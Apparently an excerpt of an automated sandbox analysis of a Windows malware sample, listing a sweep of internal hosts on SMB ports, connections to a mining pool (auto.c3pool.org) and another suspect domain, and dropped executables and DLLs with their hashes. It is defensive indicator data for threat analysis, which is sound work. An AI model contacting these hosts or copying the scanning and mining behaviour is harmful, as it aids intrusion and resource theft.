US 8.8.8.8:53 2.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 4.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 5.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 8.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 7.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 9.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 11.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 10.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 14.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 12.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 13.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 16.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 17.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 18.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 15.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 19.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 22.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 21.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 25.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 23.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 24.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 28.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 26.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 27.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 30.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 29.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 31.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 33.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 32.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 34.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 40.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 41.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 39.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 38.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 37.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 35.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 36.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 44.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 48.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 43.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 46.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 42.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 45.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 47.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 52.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 54.0.127.10.in-addr.arpa udp
N/A 10.127.0.130:445 tcp
N/A 10.127.0.129:445 tcp
N/A 10.127.0.132:445 tcp
N/A 10.127.0.131:445 tcp
N/A 10.127.0.134:445 tcp
N/A 10.127.0.135:445 tcp
N/A 10.127.0.60:443 udp
N/A 10.127.0.60:139 tcp
N/A 10.127.0.56:443 udp
N/A 10.127.0.61:139 tcp
N/A 10.127.0.56:139 tcp
N/A 10.127.0.61:443 udp
N/A 10.127.0.57:443 udp
N/A 10.127.0.58:139 tcp
N/A 10.127.0.59:443 udp
N/A 10.127.0.57:139 tcp
N/A 10.127.0.62:443 udp
N/A 10.127.0.59:139 tcp
N/A 10.127.0.58:443 udp
N/A 10.127.0.62:139 tcp
N/A 10.127.0.133:445 tcp
N/A 10.127.0.136:445 tcp
N/A 10.127.0.137:445 tcp
N/A 10.127.0.138:445 tcp
N/A 10.127.0.140:445 tcp
N/A 10.127.0.139:445 tcp
N/A 10.127.0.141:445 tcp
N/A 10.127.0.142:445 tcp
N/A 10.127.0.64:139 tcp
N/A 10.127.0.64:443 udp
N/A 10.127.0.65:139 tcp
N/A 10.127.0.65:443 udp
N/A 10.127.0.66:443 udp
N/A 10.127.0.63:139 tcp
N/A 10.127.0.66:139 tcp
N/A 10.127.0.70:139 tcp
N/A 10.127.0.70:443 udp
N/A 10.127.0.69:139 tcp
N/A 10.127.0.69:443 udp
N/A 10.127.0.67:139 tcp
N/A 10.127.0.68:139 tcp
N/A 10.127.0.68:443 udp
N/A 10.127.0.63:443 udp
N/A 10.127.0.67:443 udp
N/A 10.127.0.143:445 tcp
N/A 10.127.0.144:445 tcp
N/A 10.127.0.146:445 tcp
N/A 10.127.0.145:445 tcp
N/A 10.127.0.147:445 tcp
N/A 10.127.0.148:445 tcp
N/A 10.127.0.150:445 tcp
N/A 10.127.0.149:445 tcp
N/A 10.127.0.72:443 udp
N/A 10.127.0.72:139 tcp
N/A 10.127.0.74:443 udp
N/A 10.127.0.74:139 tcp
N/A 10.127.0.71:443 udp
N/A 10.127.0.73:139 tcp
N/A 10.127.0.71:139 tcp
N/A 10.127.0.73:443 udp
N/A 10.127.0.151:445 tcp
N/A 10.127.0.152:445 tcp
N/A 10.127.0.154:445 tcp
N/A 10.127.0.153:445 tcp
N/A 10.127.0.156:445 tcp
N/A 10.127.0.155:445 tcp
N/A 10.127.0.75:139 tcp
N/A 10.127.0.75:443 udp
N/A 10.127.0.76:443 udp
N/A 10.127.0.79:139 tcp
N/A 10.127.0.76:139 tcp
N/A 10.127.0.79:443 udp
N/A 10.127.0.78:139 tcp
N/A 10.127.0.77:139 tcp
N/A 10.127.0.77:443 udp
N/A 10.127.0.78:443 udp
N/A 10.127.0.80:443 udp
N/A 10.127.0.80:139 tcp
N/A 10.127.0.81:139 tcp
N/A 10.127.0.158:445 tcp
N/A 10.127.0.157:445 tcp
N/A 10.127.0.81:443 udp
N/A 10.127.0.159:445 tcp
N/A 10.127.0.161:445 tcp
N/A 10.127.0.160:445 tcp
N/A 10.127.0.163:445 tcp
N/A 10.127.0.162:445 tcp
N/A 10.127.0.89:139 tcp
N/A 10.127.0.89:443 udp
N/A 10.127.0.83:139 tcp
N/A 10.127.0.88:443 udp
N/A 10.127.0.88:139 tcp
N/A 10.127.0.87:443 udp
N/A 10.127.0.87:139 tcp
N/A 10.127.0.85:443 udp
N/A 10.127.0.86:443 udp
N/A 10.127.0.85:139 tcp
N/A 10.127.0.84:443 udp
N/A 10.127.0.86:139 tcp
N/A 10.127.0.83:443 udp
N/A 10.127.0.84:139 tcp
N/A 10.127.0.82:443 udp
N/A 10.127.0.82:139 tcp
N/A 10.127.0.164:445 tcp
N/A 10.127.0.166:445 tcp
N/A 10.127.0.165:445 tcp
N/A 10.127.0.168:445 tcp
N/A 10.127.0.167:445 tcp
N/A 10.127.0.170:445 tcp
N/A 10.127.0.169:445 tcp
N/A 10.127.0.91:139 tcp
N/A 10.127.0.91:443 udp
N/A 10.127.0.90:139 tcp
N/A 10.127.0.90:443 udp
N/A 10.127.0.92:139 tcp
N/A 10.127.0.92:443 udp
N/A 10.127.0.171:445 tcp
N/A 10.127.0.94:139 tcp
N/A 10.127.0.94:443 udp
N/A 10.127.0.172:445 tcp
N/A 10.127.0.93:139 tcp
N/A 10.127.0.93:443 udp
N/A 10.127.0.174:445 tcp
N/A 10.127.0.173:445 tcp
N/A 10.127.0.176:445 tcp
N/A 10.127.0.177:445 tcp
N/A 10.127.0.175:445 tcp
N/A 10.127.0.178:445 tcp
N/A 10.127.0.102:139 tcp
N/A 10.127.0.102:443 udp
N/A 10.127.0.97:139 tcp
N/A 10.127.0.97:443 udp
N/A 10.127.0.104:139 tcp
N/A 10.127.0.104:443 udp
N/A 10.127.0.98:443 udp
N/A 10.127.0.98:139 tcp
N/A 10.127.0.101:139 tcp
N/A 10.127.0.101:443 udp
N/A 10.127.0.95:139 tcp
N/A 10.127.0.95:443 udp
N/A 10.127.0.103:443 udp
N/A 10.127.0.103:139 tcp
N/A 10.127.0.96:443 udp
N/A 10.127.0.96:139 tcp
N/A 10.127.0.100:139 tcp
N/A 10.127.0.100:443 udp
N/A 10.127.0.99:139 tcp
N/A 10.127.0.99:443 udp
N/A 10.127.0.179:445 tcp
N/A 10.127.0.180:445 tcp
N/A 10.127.0.181:445 tcp
N/A 10.127.0.182:445 tcp
N/A 10.127.0.185:445 tcp
N/A 10.127.0.186:445 tcp
N/A 10.127.0.184:445 tcp
N/A 10.127.0.183:445 tcp
N/A 10.127.0.187:445 tcp
N/A 10.127.0.188:445 tcp
N/A 10.127.0.111:139 tcp
N/A 10.127.0.111:443 udp
N/A 10.127.0.113:443 udp
N/A 10.127.0.113:139 tcp
N/A 10.127.0.105:443 udp
N/A 10.127.0.105:139 tcp
N/A 10.127.0.110:443 udp
N/A 10.127.0.110:139 tcp
N/A 10.127.0.109:443 udp
N/A 10.127.0.109:139 tcp
N/A 10.127.0.114:443 udp
N/A 10.127.0.114:139 tcp
N/A 10.127.0.117:443 udp
N/A 10.127.0.117:139 tcp
N/A 10.127.0.108:443 udp
N/A 10.127.0.108:139 tcp
N/A 10.127.0.190:445 tcp
N/A 10.127.0.189:445 tcp
N/A 10.127.0.106:139 tcp
N/A 10.127.0.106:443 udp
N/A 10.127.0.116:443 udp
N/A 10.127.0.115:139 tcp
N/A 10.127.0.116:139 tcp
N/A 10.127.0.118:443 udp
N/A 10.127.0.118:139 tcp
N/A 10.127.0.112:139 tcp
N/A 10.127.0.112:443 udp
N/A 10.127.0.107:139 tcp
N/A 10.127.0.107:443 udp
N/A 10.127.0.115:443 udp
N/A 10.127.0.119:139 tcp
N/A 10.127.0.119:443 udp
N/A 10.127.0.192:445 tcp
N/A 10.127.0.193:445 tcp
N/A 10.127.0.191:445 tcp
N/A 10.127.0.121:443 udp
N/A 10.127.0.120:139 tcp
N/A 10.127.0.121:139 tcp
N/A 10.127.0.120:443 udp
N/A 10.127.0.122:443 udp
N/A 10.127.0.122:139 tcp
N/A 10.127.0.194:445 tcp
N/A 10.127.0.123:443 udp
N/A 10.127.0.123:139 tcp
N/A 10.127.0.125:139 tcp
N/A 10.127.0.125:443 udp
N/A 10.127.0.124:139 tcp
N/A 10.127.0.124:443 udp
N/A 10.127.0.195:445 tcp
N/A 10.127.0.196:445 tcp
N/A 10.127.0.127:139 tcp
N/A 10.127.0.127:443 udp
N/A 10.127.0.126:443 udp
N/A 10.127.0.126:139 tcp
N/A 10.127.0.197:445 tcp
N/A 10.127.0.198:445 tcp
N/A 10.127.0.201:445 tcp
N/A 10.127.0.200:445 tcp
N/A 10.127.0.199:445 tcp
N/A 10.127.0.128:139 tcp
N/A 10.127.0.128:443 udp
N/A 10.127.0.130:443 udp
N/A 10.127.0.130:139 tcp
N/A 10.127.0.129:139 tcp
N/A 10.127.0.129:443 udp
N/A 10.127.0.132:139 tcp
N/A 10.127.0.132:443 udp
N/A 10.127.0.131:443 udp
N/A 10.127.0.131:139 tcp
N/A 10.127.0.203:445 tcp
N/A 10.127.0.202:445 tcp
N/A 10.127.0.134:139 tcp
N/A 10.127.0.134:443 udp
N/A 10.127.0.205:445 tcp
N/A 10.127.0.204:445 tcp
N/A 10.127.0.206:445 tcp
N/A 10.127.0.135:443 udp
N/A 10.127.0.135:139 tcp
N/A 10.127.0.137:139 tcp
N/A 10.127.0.137:443 udp
N/A 10.127.0.136:443 udp
N/A 10.127.0.133:139 tcp
N/A 10.127.0.136:139 tcp
N/A 10.127.0.133:443 udp
N/A 10.127.0.207:445 tcp
N/A 10.127.0.138:139 tcp
N/A 10.127.0.138:443 udp
N/A 10.127.0.139:443 udp
N/A 10.127.0.139:139 tcp
N/A 10.127.0.140:443 udp
N/A 10.127.0.140:139 tcp
N/A 10.127.0.210:445 tcp
N/A 10.127.0.209:445 tcp
N/A 10.127.0.208:445 tcp
N/A 10.127.0.212:445 tcp
N/A 10.127.0.141:139 tcp
N/A 10.127.0.142:139 tcp
N/A 10.127.0.142:443 udp
N/A 10.127.0.141:443 udp
N/A 10.127.0.211:445 tcp
N/A 10.127.0.213:445 tcp
N/A 10.127.0.143:139 tcp
N/A 10.127.0.143:443 udp
N/A 10.127.0.144:443 udp
N/A 10.127.0.144:139 tcp
N/A 10.127.0.145:139 tcp
N/A 10.127.0.145:443 udp
N/A 10.127.0.146:139 tcp
N/A 10.127.0.146:443 udp
N/A 10.127.0.214:445 tcp
N/A 10.127.0.147:139 tcp
N/A 10.127.0.147:443 udp
N/A 10.127.0.215:445 tcp
N/A 10.127.0.218:445 tcp
N/A 10.127.0.216:445 tcp
N/A 10.127.0.217:445 tcp
N/A 10.127.0.219:445 tcp
N/A 10.127.0.148:139 tcp
N/A 10.127.0.148:443 udp
N/A 10.127.0.150:443 udp
N/A 10.127.0.150:139 tcp
N/A 10.127.0.149:139 tcp
N/A 10.127.0.149:443 udp
N/A 10.127.0.221:445 tcp
N/A 10.127.0.220:445 tcp
N/A 10.127.0.151:139 tcp
N/A 10.127.0.151:443 udp
N/A 10.127.0.152:139 tcp
N/A 10.127.0.152:443 udp
N/A 10.127.0.222:445 tcp
N/A 10.127.0.153:139 tcp
N/A 10.127.0.153:443 udp
N/A 10.127.0.154:139 tcp
N/A 10.127.0.154:443 udp
N/A 10.127.0.223:445 tcp
N/A 10.127.0.224:445 tcp
N/A 10.127.0.226:445 tcp
N/A 10.127.0.156:139 tcp
N/A 10.127.0.155:139 tcp
N/A 10.127.0.156:443 udp
N/A 10.127.0.155:443 udp
N/A 10.127.0.225:445 tcp
N/A 10.127.0.228:445 tcp
N/A 10.127.0.157:139 tcp
N/A 10.127.0.157:443 udp
N/A 10.127.0.158:443 udp
N/A 10.127.0.158:139 tcp
N/A 10.127.0.227:445 tcp
N/A 10.127.0.159:443 udp
N/A 10.127.0.159:139 tcp
N/A 10.127.0.229:445 tcp
N/A 10.127.0.230:445 tcp
N/A 10.127.0.160:139 tcp
N/A 10.127.0.160:443 udp
N/A 10.127.0.161:443 udp
N/A 10.127.0.161:139 tcp
N/A 10.127.0.231:445 tcp
N/A 10.127.0.163:139 tcp
N/A 10.127.0.163:443 udp
N/A 10.127.0.162:443 udp
N/A 10.127.0.162:139 tcp
N/A 10.127.0.232:445 tcp
N/A 10.127.0.164:139 tcp
N/A 10.127.0.164:443 udp
N/A 10.127.0.166:139 tcp
N/A 10.127.0.165:139 tcp
N/A 10.127.0.165:443 udp
N/A 10.127.0.166:443 udp
N/A 10.127.0.234:445 tcp
N/A 10.127.0.233:445 tcp
N/A 10.127.0.235:445 tcp
N/A 10.127.0.239:445 tcp
N/A 10.127.0.167:139 tcp
N/A 10.127.0.167:443 udp
N/A 10.127.0.168:443 udp
N/A 10.127.0.168:139 tcp
N/A 10.127.0.236:445 tcp
N/A 10.127.0.237:445 tcp
N/A 10.127.0.238:445 tcp
N/A 10.127.0.170:139 tcp
N/A 10.127.0.170:443 udp
N/A 10.127.0.169:139 tcp
N/A 10.127.0.169:443 udp
N/A 10.127.0.240:445 tcp
N/A 10.127.0.171:139 tcp
N/A 10.127.0.171:443 udp
N/A 10.127.0.172:443 udp
N/A 10.127.0.172:139 tcp
N/A 10.127.0.241:445 tcp
N/A 10.127.0.242:445 tcp
N/A 10.127.0.173:139 tcp
N/A 10.127.0.173:443 udp
N/A 10.127.0.174:139 tcp
N/A 10.127.0.174:443 udp
N/A 10.127.0.243:445 tcp
N/A 10.127.0.244:445 tcp
N/A 10.127.0.176:139 tcp
N/A 10.127.0.176:443 udp
N/A 10.127.0.177:443 udp
N/A 10.127.0.175:139 tcp
N/A 10.127.0.175:443 udp
N/A 10.127.0.177:139 tcp
N/A 10.127.0.245:445 tcp
N/A 10.127.0.178:139 tcp
N/A 10.127.0.178:443 udp
N/A 10.127.0.246:445 tcp
N/A 10.127.0.248:445 tcp
N/A 10.127.0.247:445 tcp
N/A 10.127.0.179:139 tcp
N/A 10.127.0.179:443 udp
N/A 10.127.0.180:139 tcp
N/A 10.127.0.180:443 udp
N/A 10.127.0.181:139 tcp
N/A 10.127.0.181:443 udp
N/A 10.127.0.249:445 tcp
N/A 10.127.0.251:445 tcp
N/A 10.127.0.250:445 tcp
N/A 10.127.0.182:443 udp
N/A 10.127.0.182:139 tcp
N/A 10.127.0.253:445 tcp
N/A 10.127.0.252:445 tcp
N/A 10.127.0.186:139 tcp
N/A 10.127.0.186:443 udp
N/A 10.127.0.184:443 udp
N/A 10.127.0.185:139 tcp
N/A 10.127.0.184:139 tcp
N/A 10.127.0.185:443 udp
N/A 10.127.0.183:443 udp
N/A 10.127.0.183:139 tcp
N/A 10.127.0.254:445 tcp
N/A 10.127.0.187:443 udp
N/A 10.127.0.188:139 tcp
N/A 10.127.0.187:139 tcp
N/A 10.127.0.188:443 udp
N/A 10.127.0.189:139 tcp
N/A 10.127.0.189:443 udp
N/A 10.127.0.190:443 udp
N/A 10.127.0.190:139 tcp
N/A 10.127.0.191:139 tcp
N/A 10.127.0.191:443 udp
N/A 10.127.0.192:139 tcp
N/A 10.127.0.192:443 udp
N/A 10.127.0.193:139 tcp
N/A 10.127.0.193:443 udp
N/A 10.127.0.194:443 udp
N/A 10.127.0.194:139 tcp
N/A 10.127.0.195:139 tcp
N/A 10.127.0.195:443 udp
N/A 10.127.0.196:139 tcp
N/A 10.127.0.196:443 udp
N/A 10.127.0.197:139 tcp
N/A 10.127.0.198:139 tcp
N/A 10.127.0.198:443 udp
N/A 10.127.0.197:443 udp
N/A 10.127.0.201:443 udp
N/A 10.127.0.201:139 tcp
N/A 10.127.0.199:139 tcp
N/A 10.127.0.199:443 udp
N/A 10.127.0.200:443 udp
N/A 10.127.0.200:139 tcp
N/A 10.127.0.202:139 tcp
N/A 10.127.0.203:443 udp
N/A 10.127.0.203:139 tcp
N/A 10.127.0.202:443 udp
N/A 10.127.0.206:139 tcp
N/A 10.127.0.206:443 udp
N/A 10.127.0.204:139 tcp
N/A 10.127.0.205:443 udp
N/A 10.127.0.205:139 tcp
N/A 10.127.0.204:443 udp
N/A 10.127.0.207:139 tcp
N/A 10.127.0.207:443 udp
N/A 10.127.0.209:443 udp
N/A 10.127.0.210:139 tcp
N/A 10.127.0.209:139 tcp
N/A 10.127.0.210:443 udp
N/A 10.127.0.208:139 tcp
N/A 10.127.0.208:443 udp
N/A 10.127.0.211:139 tcp
N/A 10.127.0.211:443 udp
N/A 10.127.0.212:139 tcp
N/A 10.127.0.212:443 udp
N/A 10.127.0.213:443 udp
N/A 10.127.0.213:139 tcp
N/A 10.127.0.214:139 tcp
N/A 10.127.0.214:443 udp
N/A 10.127.0.215:139 tcp
N/A 10.127.0.215:443 udp
N/A 10.127.0.218:443 udp
N/A 10.127.0.218:139 tcp
N/A 10.127.0.216:139 tcp
N/A 10.127.0.216:443 udp
N/A 10.127.0.217:139 tcp
N/A 10.127.0.217:443 udp
N/A 10.127.0.219:443 udp
N/A 10.127.0.219:139 tcp
N/A 10.127.0.220:139 tcp
N/A 10.127.0.220:443 udp
N/A 10.127.0.221:139 tcp
N/A 10.127.0.221:443 udp
N/A 10.127.0.222:443 udp
N/A 10.127.0.222:139 tcp
N/A 10.127.0.224:139 tcp
N/A 10.127.0.224:443 udp
N/A 10.127.0.223:139 tcp
N/A 10.127.0.223:443 udp
N/A 10.127.0.225:139 tcp
N/A 10.127.0.225:443 udp
N/A 10.127.0.226:443 udp
N/A 10.127.0.226:139 tcp
N/A 10.127.0.228:139 tcp
N/A 10.127.0.228:443 udp
N/A 10.127.0.227:139 tcp
N/A 10.127.0.227:443 udp
N/A 10.127.0.229:139 tcp
N/A 10.127.0.229:443 udp
N/A 10.127.0.230:443 udp
N/A 10.127.0.230:139 tcp
N/A 10.127.0.232:139 tcp
N/A 10.127.0.232:443 udp
N/A 10.127.0.231:443 udp
N/A 10.127.0.231:139 tcp
N/A 10.127.0.234:139 tcp
N/A 10.127.0.234:443 udp
N/A 10.127.0.233:139 tcp
N/A 10.127.0.233:443 udp
N/A 10.127.0.235:443 udp
N/A 10.127.0.235:139 tcp
N/A 10.127.0.239:139 tcp
N/A 10.127.0.239:443 udp
N/A 10.127.0.237:139 tcp
N/A 10.127.0.237:443 udp
N/A 10.127.0.238:443 udp
N/A 10.127.0.238:139 tcp
N/A 10.127.0.236:443 udp
N/A 10.127.0.236:139 tcp
N/A 10.127.0.240:443 udp
N/A 10.127.0.240:139 tcp
N/A 10.127.0.241:139 tcp
N/A 10.127.0.241:443 udp
N/A 10.127.0.242:139 tcp
N/A 10.127.0.242:443 udp
N/A 10.127.0.243:443 udp
N/A 10.127.0.243:139 tcp
N/A 10.127.0.244:443 udp
N/A 10.127.0.244:139 tcp
N/A 10.127.0.245:139 tcp
N/A 10.127.0.245:443 udp
N/A 10.127.0.248:139 tcp
N/A 10.127.0.248:443 udp
N/A 10.127.0.247:139 tcp
N/A 10.127.0.247:443 udp
N/A 10.127.0.246:139 tcp
N/A 10.127.0.246:443 udp
N/A 10.127.0.251:139 tcp
N/A 10.127.0.251:443 udp
N/A 10.127.0.250:139 tcp
N/A 10.127.0.249:443 udp
N/A 10.127.0.249:139 tcp
N/A 10.127.0.250:443 udp
N/A 10.127.0.253:443 udp
N/A 10.127.0.253:139 tcp
N/A 10.127.0.252:443 udp
N/A 10.127.0.252:139 tcp
N/A 10.127.0.254:443 udp
N/A 10.127.0.254:139 tcp
US 8.8.8.8:53 58.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 64.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 65.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 66.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 70.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 69.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 68.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 63.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 67.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 72.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 74.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 71.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 73.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 75.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 76.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 79.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 77.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 78.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 80.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 81.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 88.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 89.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 98.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 101.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 95.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 108.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 106.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 116.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 118.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 112.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 107.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 115.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 119.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 121.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 120.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 122.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 123.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 125.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 124.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 127.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 126.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 129.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 128.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 130.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 132.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 131.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 134.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 150.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 149.0.127.10.in-addr.arpa udp
DE 159.69.83.232:19999 auto.c3pool.org tcp
US 8.8.8.8:53 163.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 162.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 164.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 165.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 166.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 169.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 171.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 172.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 173.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 174.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 176.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 177.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 175.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 178.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 179.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 180.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 181.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 186.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 182.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 194.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 195.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 196.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 198.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 197.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 212.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 213.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 214.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 215.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 218.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 228.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 227.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 229.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 230.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 232.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 231.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 234.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 233.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 235.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 239.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 237.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 238.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 236.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 240.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 242.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 243.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 244.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 245.0.127.10.in-addr.arpa udp
CN 218.244.58.70:9011 nishabii.xyz tcp
US 8.8.8.8:53 auto.c3pool.org udp
DE 195.201.97.156:19999 auto.c3pool.org tcp
CN 218.244.58.70:9011 nishabii.xyz tcp

Files

C:\ProgramData\syabcd.exe

MD5 23d84a7ed2e8e76d0a13197b74913654
SHA1 23d04ba674bafbad225243dc81ce7eccd744a35a
SHA256 ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301
SHA512 aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

memory/1484-8-0x00007FF77CC40000-0x00007FF77D284000-memory.dmp

memory/1484-10-0x00000140B1C60000-0x00000140B1C74000-memory.dmp

C:\ProgramData\SMB.exe

MD5 7b2f170698522cd844e0423252ad36c1
SHA1 303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5
SHA256 5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994
SHA512 7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

memory/1484-133-0x00007FF77CC40000-0x00007FF77D284000-memory.dmp

memory/2892-137-0x00007FF77CC40000-0x00007FF77D284000-memory.dmp

C:\ProgramData\X86.dll

MD5 900c175024c7aa58aab0c62897e2471a
SHA1 fc51f654aa35576b5421869ba621effe73bf1c46
SHA256 de23da87e7fbecb2eaccbb85eeff465250dbca7c0aba01a2766761e0538f90b6
SHA512 45ed21b83987a0a5e4320d06cabf8534aa04dfb0a5f7ff1d9df6ae247f7b813a9a5c8d36edb2132e07ef3f5b0eb49ac1757328ca73ae95d894b7eb23abd591e9

C:\ProgramData\X64.dll

MD5 c7fad963ad8e46e773dc5ee9177ab218
SHA1 92a68b223b2d2e501c1f0123fabf63e15fff4d11
SHA256 7417daf85e6215dedfd85ca8bfafcfd643c8afe0debcf983ad4bacdb4d1a6dbc
SHA512 efd3511ddf487e08515ff301fd8d521060f37ad8035e0c19fb5d9c730df444ced918596f54994d9d090c889a79ba3d431f96ae4fc942b0c4a8aa0c145a05419c

memory/4700-147-0x00007FF77CC40000-0x00007FF77D284000-memory.dmp

memory/4700-149-0x00007FF77CC40000-0x00007FF77D284000-memory.dmp

memory/4552-153-0x00007FF77CC40000-0x00007FF77D284000-memory.dmp

memory/2536-157-0x00007FF77CC40000-0x00007FF77D284000-memory.dmp

